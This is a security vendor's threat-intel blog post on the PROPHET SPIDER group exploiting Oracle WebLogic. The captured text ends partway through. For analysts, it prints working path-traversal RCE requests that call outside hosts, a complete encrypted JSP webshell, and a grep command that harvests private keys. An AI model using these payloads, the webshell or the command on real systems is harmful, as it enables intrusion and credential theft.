<!DOCTYPE html>
<html lang="en" country="us">
<head>

<style>.async-hide {
            opacity: 0 !important
        } </style>
<script data-cfasync="false">if (!window.location.hostname.match(/marketodesigner/i)) {
            (function (a, s, y, n, c, h, i, d, e) {
                s.className += ' ' + y;
                h.start = 1 * new Date;
                h.end = i = function () {
                    s.className = s.className.replace(RegExp(' ?' + y), '')
                };
                (a[n] = a[n] || []).hide = h;
                setTimeout(function () {
                    i();
                    h.end = null
                }, c);
                h.timeout = c;
            })(window, document.documentElement, 'async-hide', 'dataLayer', 1900,
                {'GTM-N8HXDD2': true})
        }</script>
<script data-cfasync="false" async src="https://www.googleoptimize.com/optimize.js?id=GTM-N8HXDD2" onerror="dataLayer.hide.end && dataLayer.hide.end()"></script>

<script data-cfasync="false">(function (w, d, s, l, i) {
            w[l] = w[l] || [];
            w[l].push({
                'gtm.start':
                    new Date().getTime(), event: 'gtm.js'
            });
            var f = d.getElementsByTagName(s)[0],
                j = d.createElement(s), dl = l != 'dataLayer' ? '&l=' + l : '';
            j.async = true;
            j.src =
                'https://www.googletagmanager.com/gtm.js?id=' + i + dl;
            f.parentNode.insertBefore(j, f);
        })(window, document, 'script', 'dataLayer', 'GTM-5V5LPNC');</script>

<script src="https://cdn.cookielaw.org/scripttemplates/otSDKStub.js" data-document-language="true" type="a004f7fedeab4a208d061683-text/javascript" charset="UTF-8" data-domain-script=bee15b7c-b632-450e-9003-9c8b60b3b978></script>
<script type="a004f7fedeab4a208d061683-text/javascript">
    function OptanonWrapper() { }
</script>
<meta charset="UTF-8">
<meta name="HandheldFriendly" content="True">
<meta name="MobileOptimized" content="320">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta http-equiv="cleartype" content="on">
<meta name='robots' content='max-image-preview:large' />

<title>How PROPHET SPIDER Exploits Oracle WebLogic | CrowdStrike</title>
<meta name="description" content="Learn how PROPHET SPIDER exploits unpatched Oracle WebLogic servers to gain initial access and how the adversary monetizes access to victim environments." />
<meta name="robots" content="index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1" />
<link rel="canonical" href="https://www.crowdstrike.com/blog/prophet-spider-exploits-oracle-weblogic-to-facilitate-ransomware-activity/" />
<meta property="og:locale" content="en_US" />
<meta property="og:type" content="article" />
<meta property="og:title" content="How PROPHET SPIDER Exploits Oracle WebLogic | CrowdStrike" />
<meta property="og:description" content="Learn how PROPHET SPIDER exploits unpatched Oracle WebLogic servers to gain initial access and how the adversary monetizes access to victim environments." />
<meta property="og:url" content="https://www.crowdstrike.com/blog/prophet-spider-exploits-oracle-weblogic-to-facilitate-ransomware-activity/" />
<meta property="og:site_name" content="crowdstrike.com" />
<meta property="article:publisher" content="https://www.facebook.com/CrowdStrike/" />
<meta property="article:published_time" content="2021-08-04T08:45:14+00:00" />
<meta property="article:modified_time" content="2021-08-05T16:35:36+00:00" />
<meta property="og:image" content="https://www.crowdstrike.com/wp-content/uploads/2021/07/Blog_1060x698-11.jpeg" />
<meta property="og:image:width" content="1060" />
<meta property="og:image:height" content="698" />
<meta name="twitter:card" content="summary_large_image" />
<meta name="twitter:creator" content="@CrowdStrike" />
<meta name="twitter:site" content="@CrowdStrike" />
<script type="application/ld+json" class="yoast-schema-graph">{"@context":"https://schema.org","@graph":[{"@type":"WebSite","@id":"https://www.crowdstrike.com/#website","url":"https://www.crowdstrike.com/","name":"crowdstrike.com","description":"Next-Generation Endpoint Protection","potentialAction":[{"@type":"SearchAction","target":"https://www.crowdstrike.com/?s={search_term_string}","query-input":"required name=search_term_string"}],"inLanguage":"en-US"},{"@type":"ImageObject","@id":"https://www.crowdstrike.com/blog/prophet-spider-exploits-oracle-weblogic-to-facilitate-ransomware-activity/#primaryimage","inLanguage":"en-US","url":"https://www.crowdstrike.com/wp-content/uploads/2021/07/Blog_1060x698-11.jpeg","width":1060,"height":698},{"@type":"WebPage","@id":"https://www.crowdstrike.com/blog/prophet-spider-exploits-oracle-weblogic-to-facilitate-ransomware-activity/#webpage","url":"https://www.crowdstrike.com/blog/prophet-spider-exploits-oracle-weblogic-to-facilitate-ransomware-activity/","name":"How PROPHET SPIDER Exploits Oracle WebLogic | CrowdStrike","isPartOf":{"@id":"https://www.crowdstrike.com/#website"},"primaryImageOfPage":{"@id":"https://www.crowdstrike.com/blog/prophet-spider-exploits-oracle-weblogic-to-facilitate-ransomware-activity/#primaryimage"},"datePublished":"2021-08-04T08:45:14+00:00","dateModified":"2021-08-05T16:35:36+00:00","author":{"@id":"https://www.crowdstrike.com/#/schema/person/eb3608a4dfd2b89413047e107ce8d94b"},"description":"Learn how PROPHET SPIDER exploits unpatched Oracle WebLogic servers to gain initial access and how the adversary monetizes access to victim environments.","inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https://www.crowdstrike.com/blog/prophet-spider-exploits-oracle-weblogic-to-facilitate-ransomware-activity/"]}]},{"@type":"Person","@id":"https://www.crowdstrike.com/#/schema/person/eb3608a4dfd2b89413047e107ce8d94b","name":"Falcon OverWatch - CrowdStrike Intelligence - CrowdStrike IR","image":{"@type":"ImageObject","@id":"https://www.crowdstrike.com/#personlogo","inLanguage":"en-US","url":"http://0.gravatar.com/avatar/098373b21143b663b9f4fa618d732350?s=96&d=mm&r=g","caption":"Falcon OverWatch - CrowdStrike Intelligence - CrowdStrike IR"}}]}</script>

<link rel="preload" href="https://www.crowdstrike.com/wp-content/themes/main-theme/dist/scripts/header/megamenu-content.json" as="json"><link rel="preload" href="https://www.crowdstrike.com/wp-content/themes/main-theme/dist/scripts/header/top-nav.json" as="json"><link rel="preload" href="https://www.crowdstrike.com/wp-content/themes/main-theme/dist/scripts/blog/blog-nav.json" as="json"><link rel='stylesheet' id='single-post.min.css-css' href='https://www.crowdstrike.com/wp-content/themes/main-theme/dist/styles/pages/single-post.min.css?ver=5.8' type='text/css' media='all' />
<link rel='stylesheet' id='theme-styles-css' href='https://www.crowdstrike.com/wp-content/themes/main-theme/dist/styles/theme-styles.min.css?ver=5.8' type='text/css' media='screen' />
<link rel='stylesheet' id='tablepress-default-css' href='https://www.crowdstrike.com/wp-content/tablepress-combined.min.css?ver=2' type='text/css' media='all' />
<script type="a004f7fedeab4a208d061683-text/javascript" src='https://www.crowdstrike.com/wp-content/themes/main-theme/dist/scripts/fetch-inject.js?ver=5.8' id='fetch-inject-js'></script>
<script type="a004f7fedeab4a208d061683-text/javascript" src='https://www.crowdstrike.com/wp-content/themes/main-theme/dist/scripts/components/blog-navigation.min.js?ver=5.8' id='blog-navigation-js'></script>
<script type="a004f7fedeab4a208d061683-text/javascript" src='https://www.crowdstrike.com/wp-content/themes/main-theme/dist/scripts/components/blog-categories.min.js?ver=5.8' id='blog-categories-js'></script>
<script type="a004f7fedeab4a208d061683-text/javascript" src='https://www.crowdstrike.com/wp-content/themes/main-theme/dist/scripts/components/blog-category-sidebar.min.js?ver=5.8' id='blog-category-sidebar-js'></script>
<link rel='shortlink' href='https://www.crowdstrike.com/?p=42886' />
<link rel="icon" href="https://www.crowdstrike.com/wp-content/uploads/2018/09/favicon-96x96.png" sizes="32x32" />
<link rel="icon" href="https://www.crowdstrike.com/wp-content/uploads/2018/09/favicon-96x96.png" sizes="192x192" />
<link rel="apple-touch-icon" href="https://www.crowdstrike.com/wp-content/uploads/2018/09/favicon-96x96.png" />
<meta name="msapplication-TileImage" content="https://www.crowdstrike.com/wp-content/uploads/2018/09/favicon-96x96.png" />
</head>
<body class="post-template-default single single-post postid-42886 single-format-standard lang-en ">

<noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-5V5LPNC&nojs=1"
height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>

<script type="application/ld+json">
    {
        "@context": "http://schema.org",
        "@type": "Organization",
        "name": "CrowdStrike",
        "url": "http://www.crowdstrike.com",
        "logo": "http://www.crowdstrike.com/wp-content/img/cs_logo.png",
        "sameAs": [
            "http://www.facebook.com/CrowdStrike/",
            "http://www.twitter.com/CrowdStrike/",
            "https://plus.google.com/101967380457820256808/",
            "http://www.linkedin.com/company/crowdstrike",
            "http://www.youtube.com/user/CrowdStrike"
        ]
    }
</script>
<div data-id="wistia_player_embed"></div>
<div id="modal-mask" class="modal_insert_location">
<div class="container">
<div class="row">
<div class="col-lg-12">
<div id="modal-inner-mask" class="modal_mask">
<div class="close_button"><i id="modal-close" class="fa fa-close"></i></div>
<div id="modal-insert" class="modal_content"></div>
</div>
</div>
</div>
</div>
</div><div id="blogNavInsertLocation"></div>
<div class="cs_page_container ">
<div class="search_modal">
<div class="cs_header_container search_modal__section centered">

<input type="text" id="addsearchfield" class="addsearch" disabled="disabled" placeholder="Search" />
<script type="a004f7fedeab4a208d061683-text/javascript" async="async" src="https://addsearch.com/js/?key=7737a29b854de71521b1cd72c4118cfc"></script>
</div>
</div>
<header id="megaMenu" class="cs_main_menu 0">
<div id="headerPromobar"></div>
<nav class="header_top_menu">
<div class="cs_header_container centered">
<div id="megamenu_top_insert" class="menu_inner_section"></div>
</div>
</nav>
<nav class="header_bottom_menu">
<div class="mega_menu">
<div class="cs_header_container centered mega_menu__header">
<div class="header_logo">
<a href="/">
<svg width="173px" height="32px" viewBox="0 0 173 32" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<g id="Homepage" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">
<g id="Home" transform="translate(-72.000000, -7240.000000)" fill="#FEFEFE">
<g id="Group-24" transform="translate(72.000000, 7240.000000)">
<g id="Group-7" transform="translate(13.000000, 3.526700)">
<path d="M14.5154,12.2448 L14.5154,11.9378 L11.9154,9.6998 L11.6124,9.6998 C10.8974,10.4898 9.7934,11.0818 8.5584,11.0818 C6.6304,11.0818 5.1134,9.6118 5.1134,7.5938 C5.1134,5.5758 6.6304,4.1058 8.5584,4.1058 C9.7934,4.1058 10.8974,4.6978 11.6124,5.4878 L11.9154,5.4878 L14.5154,3.2498 L14.5154,2.9428 C13.1504,1.2758 11.0064,0.2008 8.5794,0.2008 C4.1174,0.2008 0.7384,3.3598 0.7384,7.5938 C0.7384,7.7578 0.7754,7.9088 0.7864,8.0698 C2.6124,9.3118 4.2244,10.3058 5.6124,11.2158 C7.6134,12.4818 9.2284,13.6468 10.5584,14.7298 C12.2164,14.3108 13.5604,13.4018 14.5154,12.2448 M2.3674,12.1658 C3.4094,13.4458 4.8804,14.3638 6.6154,14.7558 C5.4434,14.0968 4.3084,13.4498 3.2514,12.7338 C2.9414,12.5418 2.6654,12.3558 2.3674,12.1658" id="Fill-1"></path>
<path d="M29.571,14.0437 L28.921,11.2357 L28.683,11.0817 C28.553,11.1477 28.445,11.2357 28.12,11.2357 C27.621,11.2357 27.318,10.7087 27.058,10.2927 C26.625,9.6337 26.278,9.2827 25.975,9.1297 C27.556,8.4277 28.618,7.1117 28.618,5.2247 C28.618,2.3067 26.625,0.4637 22.921,0.4637 L16.465,0.4637 L16.465,14.7237 L20.754,14.7237 L20.754,9.7217 L21.144,9.7217 C22.097,9.7217 23.311,11.7837 23.874,12.7057 C25.044,14.5707 25.975,14.9867 27.643,14.9867 C28.423,14.9867 29.073,14.7017 29.463,14.3507 L29.571,14.0437 Z M24.242,5.4657 C24.242,6.4097 23.549,6.8697 22.747,6.8697 L20.754,6.8697 L20.754,3.9737 L22.747,3.9737 C23.549,3.9737 24.242,4.5007 24.242,5.4657 L24.242,5.4657 Z" id="Fill-3"></path>
<path d="M46.1426,7.5939 C46.1426,3.3599 42.7636,0.2009 38.2796,0.2009 C33.7946,0.2009 30.4156,3.3599 30.4156,7.5939 C30.4156,11.8279 33.7946,14.9869 38.2796,14.9869 C42.7636,14.9869 46.1426,11.8059 46.1426,7.5939 M41.7666,7.5939 C41.7666,9.6339 40.2066,11.0819 38.2796,11.0819 C36.3516,11.0819 34.7916,9.6339 34.7916,7.5939 C34.7916,5.5539 36.3516,4.1059 38.2796,4.1059 C40.2066,4.1059 41.7666,5.5539 41.7666,7.5939" id="Fill-5"></path>
</g>
<polygon id="Fill-8" points="80.6103 3.9906 76.5163 3.9906 73.9813 11.8886 71.2953 3.9906 68.6963 3.9906 66.0313 11.8446 63.4973 3.9906 59.4023 3.9906 59.2073 4.3196 64.4503 18.2506 67.0493 18.2506 69.9953 10.4846 72.9633 18.2506 75.5633 18.2506 80.8053 4.3196"></polygon>
<path d="M96.5105,11.0987 C96.5105,6.8427 93.6725,3.9907 89.0585,3.9907 L82.4945,3.9907 L82.4945,18.2507 L89.0585,18.2507 C93.6725,18.2507 96.5105,15.3987 96.5105,11.0987 M92.1345,11.1207 C92.1345,13.4457 90.7695,14.7407 88.8855,14.7407 L86.7835,14.7407 L86.7835,7.5007 L88.8855,7.5007 C90.7695,7.5007 92.1345,8.7957 92.1345,11.1207" id="Fill-9"></path>
<polygon id="Fill-11" points="119.2316 7.5008 123.5206 7.5008 123.5206 3.9908 110.6536 3.9908 110.6536 7.5008 114.9426 7.5008 114.9426 18.2508 119.2316 18.2508"></polygon>
<path d="M137.233,8.7513 C137.233,5.8333 135.24,3.9903 131.536,3.9903 L125.08,3.9903 L125.08,18.2503 L129.37,18.2503 L129.37,13.2483 L130.388,13.2483 L133.052,18.2503 L137.32,18.2503 L137.515,17.9213 L134.655,12.6343 C136.193,11.9103 137.233,10.6163 137.233,8.7513 M132.857,8.9923 C132.857,9.9363 132.164,10.3963 131.362,10.3963 L129.37,10.3963 L129.37,7.5003 L131.362,7.5003 C132.164,7.5003 132.857,8.0273 132.857,8.9923" id="Fill-12"></path>
<polygon id="Fill-14" points="139.832 18.2507 144.121 18.2507 144.121 3.9907 139.832 3.9907"></polygon>
<polygon id="Fill-15" points="154.9957 10.3747 159.8477 4.3197 159.6527 3.9907 155.0827 3.9907 151.1177 9.0587 151.1177 3.9907 146.8287 3.9907 146.8287 18.2507 151.1177 18.2507 151.1177 13.8627 151.8977 12.9417 155.5377 18.2507 160.0217 18.2507 160.2167 17.9217"></polygon>
<polygon id="Fill-16" points="161.3862 3.9903 161.3862 18.2513 172.1732 18.2513 172.1732 14.7413 165.6742 14.7413 165.6742 12.7663 170.5702 12.7663 170.5702 9.4753 165.6742 9.4753 165.6742 7.5013 172.1092 7.5013 172.1092 3.9903"></polygon>
<g id="Group-23" transform="translate(0.000000, 0.526700)">
<path d="M103.7658,17.8933 C106.9078,17.8933 109.6348,16.3583 109.6348,13.3983 C109.6348,10.1723 106.8858,9.3383 104.4598,8.6363 C103.5058,8.3513 102.5298,8.0213 102.5298,7.3193 C102.5298,6.8143 103.0718,6.5073 103.8958,6.5073 C105.3048,6.5073 106.4958,7.3853 107.1018,7.9563 L107.4048,7.9563 L109.4188,5.5433 L109.4188,5.2363 C108.3578,4.0303 106.1928,3.1093 103.8088,3.1093 C100.4728,3.1093 98.1568,4.9073 98.1568,7.5173 C98.1568,10.3263 100.7108,11.5553 102.8768,12.1693 C104.2858,12.5643 105.2408,12.6303 105.2408,13.3983 C105.2408,13.9473 104.5678,14.2763 103.5268,14.2763 C102.2048,14.2763 100.6028,13.4203 99.8238,12.6523 L99.5208,12.6523 L97.5288,15.1533 L97.5288,15.4603 C98.8058,16.8853 101.1008,17.8933 103.7658,17.8933" id="Fill-17"></path>
<path d="M29.8197,30.9998 C28.7807,28.6218 26.6937,25.5708 18.5177,21.2138 C14.7477,19.1178 8.3067,15.8908 2.5137,9.7578 C3.0387,11.9718 5.7287,16.8368 17.2987,22.9118 C20.5027,24.6648 25.9207,26.3088 29.8197,30.9998" id="Fill-19"></path>
<path d="M29.298,26.9271 C28.312,24.1171 26.532,20.5191 18.091,15.1751 C13.98,12.4811 7.945,9.0981 0,0.4731 C0.568,2.7981 3.078,8.8441 15.73,16.6931 C19.886,19.5091 25.25,21.2461 29.298,26.9271" id="Fill-21"></path>
</g>
</g>
</g>
</g>
</svg> </a>
</div>
<div id="megaSearch" data-id="search" class="search_btn fa-search"></div>
<div id="csMobileMenuBtn" class="mobile_menu_btn"><span></span></div>
<div class="mega_menu__content">
<ul id="megamenu_bottom_nav_insert" class="mega_menu__links"></ul>
<div id="megamenu_bottom_nav_content" class="mega_menu__body"></div>
</div>
</div>
</div>
</nav>
</header>
<div class="cs_page_content">
<div class="mobile_nav_section">
<div class="mobile_nav_content">
<div id="megamenu_mobile_main_nav" class="list_items_content"></div>
</div>
</div>
<div class="cs_main_section">
<main class="main">
<article>
<div class="container">
<div class="row">
<div class="col-12 col-lg-8">
<h1>PROPHET SPIDER Exploits Oracle WebLogic to Facilitate Ransomware Activity</h1>
<div class="publish_info">
<p>August 4, 2021</p> <a href="https://www.crowdstrike.com/blog/author/falcon-overwatch-crowdstrike-intelligence-crow/" title="Posts by Falcon OverWatch - CrowdStrike Intelligence - CrowdStrike IR" rel="author">Falcon OverWatch - CrowdStrike Intelligence - CrowdStrike IR</a> <ul class="post-categories">
<li><a href="https://www.crowdstrike.com/blog/category/threat-intel-research/" rel="category tag">Research &amp; Threat Intel</a></li></ul> </div>
<div class="post_image"><img width="1060" height="698" src="https://www.crowdstrike.com/wp-content/uploads/2021/07/Blog_1060x698-11.jpeg" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="" loading="lazy" srcset="https://www.crowdstrike.com/wp-content/uploads/2021/07/Blog_1060x698-11.jpeg 1060w, https://www.crowdstrike.com/wp-content/uploads/2021/07/Blog_1060x698-11-300x198.jpeg 300w, https://www.crowdstrike.com/wp-content/uploads/2021/07/Blog_1060x698-11-1024x674.jpeg 1024w, https://www.crowdstrike.com/wp-content/uploads/2021/07/Blog_1060x698-11-768x506.jpeg 768w" sizes="(max-width: 1060px) 100vw, 1060px" /></div>
<div class="blog_content">
<ul>
<li style="font-weight: 400"><span style="font-weight: 400">CrowdStrike Intelligence, Falcon OverWatch&#x2122; and CrowdStrike Incident Response teams have observed multiple campaigns by the eCrime actor PROPHET SPIDER where the adversary has exploited Oracle WebLogic using </span><a href="https://nvd.nist.gov/vuln/detail/CVE-2020-14882"><span style="font-weight: 400">CVE-2020-14882</span></a><span style="font-weight: 400"> and </span><a href="https://nvd.nist.gov/vuln/detail/CVE-2020-14750"><span style="font-weight: 400">CVE-2020-14750</span></a><span style="font-weight: 400"> directory traversal Remote Code Execution (RCE) vulnerabilities.</span></li>
<li style="font-weight: 400"><span style="font-weight: 400">PROPHET SPIDER is proficient in exploiting and operating in both Linux and Windows platforms.</span></li>
<li style="font-weight: 400"><span style="font-weight: 400">It is likely PROPHET SPIDER monetizes access to victim environments by handing off access to third parties that will deploy ransomware.</span></li>
</ul>
<h2><span style="font-weight: 400">Background</span></h2>
<p><span style="font-weight: 400">PROPHET SPIDER is an eCrime actor that has been active since at least May 2017.</span></p>
<p><span style="font-weight: 400">PROPHET SPIDER primarily gains access to victims by compromising vulnerable web servers, and uses a variety of low-prevalence tools to achieve operational objectives, including the </span><em><span style="font-weight: 400">GOTROJ</span></em><span style="font-weight: 400"> remote access trojan and a variety of reverse shell binaries.</span></p>
<p><span style="font-weight: 400">This blog focuses on PROPHET SPIDER’s recent trend of leveraging CVE-2020-14882 and CVE-2020-14750 to exploit unpatched Oracle WebLogic servers to gain initial access to victim environments. The blog also discusses PROPHET SPIDER’s observed tactics on Windows and Linux systems, and their victim environment access handoff operations to multiple adversary groups for ransomware deployment. </span></p>
<h2><span style="font-weight: 400">Oracle WebLogic Exploitation </span></h2>
<p><span style="font-weight: 400">PROPHET SPIDER typically gains initial access via the exploitation of public-facing applications. In particular, CrowdStrike has observed PROPHET SPIDER exploit Oracle WebLogic vulnerabilities to gain access to victim environments. A commonly observed avenue is the exploitation of two WebLogic CVEs: CVE-2020-14882 and CVE-2020-14750. Both CVEs are related to path traversal vulnerabilities that allow an adversary access to the WebLogic administrative console, which consequently allows for unauthenticated remote code execution, or RCE. (Note: Both vulnerabilities are essentially the same; the patch initially released to address CVE-2020-14882 in October 2020 was bypassed shortly after. The patch for CVE-2020-14750 resolved the issue in a more comprehensive manner.)</span><span style="font-weight: 400"> </span></p>
<p><span style="font-weight: 400">While the two WebLogic CVEs are the most commonly observed avenues of initial access, CrowdStrike has also observed PROPHET SPIDER exploit older Oracle CVEs, including </span><a href="https://nvd.nist.gov/vuln/detail/CVE-2016-0545"><span style="font-weight: 400">CVE-2016-0545</span></a><span style="font-weight: 400">, as well as perform SQL injection to gain access. CrowdStrike has not observed PROPHET SPIDER gain initial access via other methods such as phishing, brute forcing, malvertising or drive-by downloads.</span><span style="font-weight: 400"> </span></p>
<p><span style="font-weight: 400">CrowdStrike has observed PROPHET SPIDER conduct external reconnaissance scans to determine if a target is vulnerable to a WebLogic CVE using the website </span><span style="font-weight: 400"><code>burpcollaborator[.]net</code></span><span style="font-weight: 400">. This is a legitimate website that can be used in conjunction with BurpSuite to send RCE command responses in blind injection-style attacks. For example, a CVE-2020-14882/CVE-2020-14750 request involving </span><span style="font-weight: 400"><code>burpcollaborator[.]net</code></span><span style="font-weight: 400"> may look like the below, where an nslookup is performed on a subdomain of </span><span style="font-weight: 400"><code>burpcollaborator[.]net</code></span><span style="font-weight: 400">.</span></p>
<pre><code>GET /console/images/%252e%252e%252fconsole.portal?_nfpb=false&amp;amp;_pageLabel=&amp;amp;handle=com.tangosol.coherence.mvel2.sh.ShellSession(&amp;quot;java.lang.Runtime.getRuntime().exec('<span style="color: #ff0000">nslookup</span>%20<span style="color: #ff0000">x.x.x.x</span>%20<span style="color: #ff0000">fsr2fl394ijk3xy13hdfbd2jzfps7.burpcollaborator.net</span>')&amp;quot;)</code></pre>
<p><strong>Figure 1. WebLogic access log showing the nslookup command executed on a subdomain of burpcollaborator[.]net</strong></p>
<p><span style="font-weight: 400">Analysts looking for evidence of attempted exploitation of CVE-2020-14882 and/or CVE-2020-14750 can examine WebLogic access logs for path traversal requests that reference the URI </span><strong>console.portal</strong><span style="font-weight: 400">. The requests will involve encoding the characters “../” in some manner. This may look like the examples below:</span></p>
<pre><code>GET /console/images/%252E%252E%252Fconsole.portal
GET /console/css/%252e%252e%252fconsole.portal
GET /console/..%2Fconsole.portal</code></pre>
<p><strong>Figure 2. WebLogic access log showing directory traversal requests that reference console.portal, indicative of attempted exploitation of CVE-2020-14882/14750</strong></p>
<p><span style="font-weight: 400">There are multiple avenues to achieve RCE following the successful path traversal request. In some cases, the GET request will contain additional parameters that include the RCE command. In the example below, the </span><strong>com.tangosol.coherence.mvel2.sh.ShellSession</strong><span style="font-weight: 400"> class is invoked to execute a curl command.</span></p>
<pre><code>GET /console/images/%252E%252E%252Fconsole.portal?_nfpb=false&amp;amp;_pageLabel=HomePage1&amp;amp;handle=<span style="color: #ff0000">com.tangosol.coherence.mvel2.sh.ShellSession</span>(%22java.lang.Runtime.getRuntime().<span style="color: #ff0000">exec</span>(&amp;quot;<span style="color: #ff0000">curl http://x.x.x.x:1234</span>&amp;quot;);&amp;quot;);</code></pre>
<p><strong>Figure 3. WebLogic access log showing the curl command executed via the tangosol.coherence.mvel2.sh.ShellSession class</strong></p>
<p><span style="font-weight: 400">Another similar exploitation request PROPHET SPIDER has used leverages </span><strong>ClassPathXmlApplicationContex</strong><span style="font-weight: 400"><strong>t</strong> or </span><strong>FileSystemXmlApplicaitonContext</strong> <span style="font-weight: 400">to achieve execution via a remotely hosted XML file. The remote URLs referenced in the below figure would host an XML file that contains the command to execute.</span></p>
<pre><code>GET /console/images/%252E%252E%252Fconsole.portal?_nfpb=true&amp;amp;_pageLabel=HomePage1&amp;amp;handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext(&amp;quot;<span style="color: #ff0000">http://x.x.x.x:32531/poc.xml</span></code></pre>
<pre><code>GET /console/images/%252E%252E%252Fconsole.portal?handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22<span style="color: #ff0000">http://x.x.x.x</span>%22)</code></pre>
<p><strong>Figure 4. WebLogic access log showing ClassPathXmlApplicationContext or FileSystemXmlApplicaitonContext classes leveraged to execute commands via a remotely hosted XML file</strong></p>
<p><span style="font-weight: 400">It is also possible to gain access without having the RCE command or XML file visible in the GET request. By examining backend logs on the WebLogic server and correlating them with the access logs, analysts may see path traversal requests that line up with errors related to </span><strong>com.tangosol.coherence.mvel2.sh.ShellSession</strong><span style="font-weight: 400">. For example:</span></p>
<pre><code>2021-02-15 02:12:12 0.001 1164 GET /console/<span style="color: #ff0000">..%2Fconsole.portal</span>?_nfpb=true&amp;amp;_pageLabel=UnexpectedExceptionPage

####&lt;Feb 15, 2021, 02:12:13,361 AM EST&gt;  &lt; …&gt; Administration Console encountered the following error: Unexpected exception occured in page flow request processor:weblogic.security.service.InvalidParameterException: Unable to instanciate handle type: <span style="color: #ff0000">com.tangosol.coherence.mvel2.sh.ShellSession</span></code></pre>
<p><strong>Figure 5. WebLogic access log showing directory traversal activity that correlates to a WebLogic console log error for com.tangosol.coherence.mvel2.sh.ShellSession</strong></p>
<p><span style="font-weight: 400">Analysts may also observe failed RCE on Linux systems that attempt to execute a Windows-based command, and vice versa — an indication of the widespread targeting of this exploit’s vulnerability.</span></p>
<h2><span style="font-weight: 400">Linux Tactics</span></h2>
<p><span style="font-weight: 400">Since PROPHET SPIDER gains access via web servers or other public-facing servers, they will often initially compromise a Linux-based system. Once initial access is obtained on a Linux system, PROPHET SPIDER typically deploys a webshell, reverse shell binary or a perl reverse shell script (commonly named </span><span style="font-weight: 400"><code>bc.pl</code></span><span style="font-weight: 400">) as their initial persistence mechanism. </span></p>
<p><span style="font-weight: 400">PROPHET SPIDER demonstrates a good understanding of the Linux command shell and uses a wide range of commands to enumerate system process, account and networking information. </span></p>
<h3><span style="font-weight: 400">Persistence</span></h3>
<p><span style="font-weight: 400">Figure 6 below contains a sample JSP webshell leveraged by PROPHET SPIDER on an Oracle WebLogic server used as a persistence mechanism that allowed for access and remote commands to be issued on the system.</span></p>
<pre><code>&lt;
% !String middleware = "517c7dcfd19771f1";
String pass = "3626708ee86f82d0493e684e1f400787";
String md5 = md5(pass + middleware);
class X extends ClassLoader {
    public X(ClassLoader z) {
        super(z);
    }
    public Class Q(byte[] cb) {
        return super.defineClass(cb, 0, cb.length);
    }
}
public byte[] x(byte[] s, boolean m) {
    try {
        javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
        c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(middleware.getBytes(), "AES"));
        return c.doFinal(s);
    } catch (Exception e) {
        return null;
    }
}
public static String md5(String s) {
    String ret = null;
    try {
        java.security.MessageDigest m;
        m = java.security.MessageDigest.getInstance("MD5");
        m.update(s.getBytes(), 0, s.length());
        ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
    } catch (Exception e) {}
    return ret;
}
public static String base64Encode(byte[] bs) throws Exception {
    Class base64;
    String value = null;
    try {
        base64 = Class.forName("java.util.Base64");
        Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
        value = (String) Encoder.getClass().getMethod("encodeToString", new Class[] {
            byte[].class
        }).invoke(Encoder, new Object[] {
            bs
        });
    } catch (Exception e) {
        try {
            base64 = Class.forName("sun.misc.BASE64Encoder");
            Object Encoder = base64.newInstance();
            value = (String) Encoder.getClass().getMethod("encode", new Class[] {
                byte[].class
            }).invoke(Encoder, new Object[] {
                bs
            });
            value = value.replace("\n", "").replace("\r", "");
        } catch (Exception e2) {}
    }
    return value;
}
public static byte[] base64Decode(String bs) throws Exception {
    Class base64;
    byte[] value = null;
    try {
        base64 = Class.forName("java.util.Base64");
        Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
        value = (byte[]) decoder.getClass().getMethod("decode", new Class[] {
            String.class
        }).invoke(decoder, new Object[] {
            bs
        });
    } catch (Exception e) {
        try {
            base64 = Class.forName("sun.misc.BASE64Decoder");
            Object decoder = base64.newInstance();
            value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[] {
                String.class
            }).invoke(decoder, new Object[] {
                bs
            });
        } catch (Exception e2) {}
    }
    return value;
} % &gt;
&lt;
%
try {
    byte[] data = base64Decode(request.getParameter(pass));
    data = x(data, false);
    if (session.getAttribute("payload") == null) {
        session.setAttribute("payload", new X(pageContext.getClass().getClassLoader()).Q(data));
    } else {
        request.setAttribute("parameters", new String(data));
        Object f = ((Class) session.getAttribute("payload")).newInstance();
        f.equals(pageContext);
        response.getWriter().write(md5.substring(0, 16));
        response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)));
        response.getWriter().write(md5.substring(16));
    }
} catch (Exception e) {} % &gt;</code></pre>
<p><strong>Figure 6. A sample JSP webshell leveraged by PROPHET SPIDER on an Oracle WebLogic server for persistence</strong></p>
<h3><span style="font-weight: 400">Credential Access</span></h3>
<p><span style="font-weight: 400">On Linux-based systems, PROPHET SPIDER attempts to harvest information relating to SSH keys, and RSA keys generally, using </span><span style="font-weight: 400">cat</span><span style="font-weight: 400"> to list the contents of </span><span style="font-weight: 400"><code>id_rsa</code></span><span style="font-weight: 400">, </span><span style="font-weight: 400"><code>id_dsa</code></span><span style="font-weight: 400">, or .</span><span style="font-weight: 400"><code>ssh/authorized_keys</code></span><span style="font-weight: 400">. In one case, PROPHET SPIDER used </span><span style="font-weight: 400"><code>grep</code></span><span style="font-weight: 400"> to search for private keys stored in files across various directories, including </span><span style="font-weight: 400"><code>root</code></span><span style="font-weight: 400">, </span><span style="font-weight: 400"><code>home</code></span><span style="font-weight: 400">, </span><span style="font-weight: 400"><code>etc</code></span><span style="font-weight: 400">, and </span><span style="font-weight: 400"><code>mnt</code></span><span style="font-weight: 400">, for example: </span><span style="font-weight: 400"><code>timeout 40 grep -rl \-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\- /home</code></span><span style="font-weight: 400">. </span></p>
